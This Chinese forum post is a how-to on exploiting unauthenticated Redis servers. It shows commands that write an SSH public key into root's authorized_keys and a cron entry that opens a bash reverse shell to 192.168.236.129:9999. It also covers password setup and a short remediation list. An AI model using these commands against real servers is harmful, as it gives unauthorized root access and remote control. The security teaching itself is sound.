设为首页 收藏本站
查看: 1140|回复: 0

[经验分享] redis未授权访问漏洞利用

[复制链接]

尚未签到

发表于 2018-11-3 09:07:34 | 显示全部楼层 |阅读模式
  各位大佬好!好久没写过博客记录了,最近挖了个redis未授权访问漏洞,并利用了一番,在此,分享下这个鸡肋却能直接获得服务器权限的漏洞。
0x01:redis基础
  Redis默认配置是不需要密码认证的,也就是说只要连接的Redis服务器的host和port正确,就可以连接使用。这在安全性上会有一定的问题,所以需要启用Redis的认证密码,增加Redis服务器的安全性。

  • 修改配置文件
  Redis的配置文件默认在/etc/redis.conf,找到如下行:
  #requirepass foobared
  去掉前面的注释,并修改为所需要的密码:
  requirepass myPassword (其中myPassword就是要设置的密码)

  • 重启Redis
  如果Redis已经配置为service服务,可以通过以下方式重启:
  service redis restart
  如果Redis没有配置为service服务,可以通过以下方式重启:
  /usr/local/bin/redis-cli shutdown
  /usr/local/bin/redis-server /etc/redis.conf

  • 登录验证
  设置Redis认证密码后,客户端登录时需要使用-a参数输入认证密码,不添加该参数虽然也可以登录成功,但是没有任何操作权限。如下:
  $ ./redis-cli -h 127.0.0.1 -p 6379
  127.0.0.1:6379> keys *
  (error) NOAUTH Authentication required.
  使用密码认证登录,并验证操作权限:
  $ ./redis-cli -h 127.0.0.1 -p 6379 -a myPassword
  127.0.0.1:6379> config get requirepass
  1) "requirepass"
  2) "myPassword"
  看到类似上面的输出,说明Reids密码认证配置成功。
0x02漏洞描述
  漏洞描述:
  Redis因配置不当可以未授权访问,被***者恶意利用。
  ***者无需认证访问到内部数据,可能导致敏感信息泄露,***也可以恶意执行flushall来清空所有数据。
  ***者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
  如果Redis以root身份运行,***可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
  危害:
  ***者可利用该漏洞写入计划任务反弹shell
  ***者可利用该漏洞写入ssh公钥远程连接。
0x03:漏洞利用

  • 使用redis连接工具连接。windows下学习和连接redis,redis下载地址:https://github.com/dmajkic/redis/downloads
  • 使用redis-cli.exe连接
    DSC0000.jpg

0x04:漏洞高级利用
  利用原理:
  1) SSH免密码登录,Linux下可以设置SSH免密码登录,方法为使用"公私钥"认证,即首先在客户端上创建一对公私钥 (公钥文件:~/.ssh/id_rsa.pub; 私钥文件:~/.ssh/id_rsa)。然后把公钥放到服务器上(~/.ssh/authorized_keys), 自己保留好私钥.在使用ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配.如果匹配成功就可以登录了。详细可参考(http://jingyan.baidu.com/article/2fb0ba4043124a00f2ec5f0f.html )SSH免密码登陆远程服务器
  2)Redis可通过Redis-CLI远程管理,设置Redis的默认路径以及数据库缓存文件。
  方法如下:
  config set dir /xxx
  config set dbfilename xxxx
  set xxxx "xxx"save

  • 漏洞条件
  1.Redis服务使用ROOT账号启动
  2.Redis服务无密码认证或者使用的是弱口令进行认证
  3.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
  首先在本地生成一对密钥:
DSC0001.jpg

  然后通过redis-clis远程连接到目标redis服务器,执行以下命令
DSC0002.jpg

  config set dir /root/.ssh/
  config set dbfilename authorized_keys
  set xxxx "\n\n\nssh-rsa key_pub\n\n\n",其中key_pub为上图生成的公钥,即可将公钥保存在远端服务器,使得登录时不需要输入账号与密码。Redis已经因该漏洞被***,并在其缓存数据库中发现被写入的公钥,建议用户马上对内部网络进行排查。
反弹shell
  1、telnet登录/也可以redis-cli登录
DSC0003.jpg

  telnet 192.168.236.130 6379//未授权登录
  config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面
  set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.236.129/9999 0>&1\n\n\n"//直接往当前用户的crontab里写入反弹shell,换行是必不可少的。
  2.nc反弹
DSC0004.jpg

  3.Centos里面查看crontab任务。
DSC0005.jpg

0x06:漏洞修复
  该漏洞的修补方法如下:
  1)禁止使用 root 权限启动 redis 服务;
  2)对 redis 访问启用密码认证,并且添加 IP 访问限制;
  3)尽可能不对公网直接开放 SSH 服务。


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-630080-1-1.html 上篇帖子: Redis部署及主从集群架构 下篇帖子: tomcat7配合redis实现session共享
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表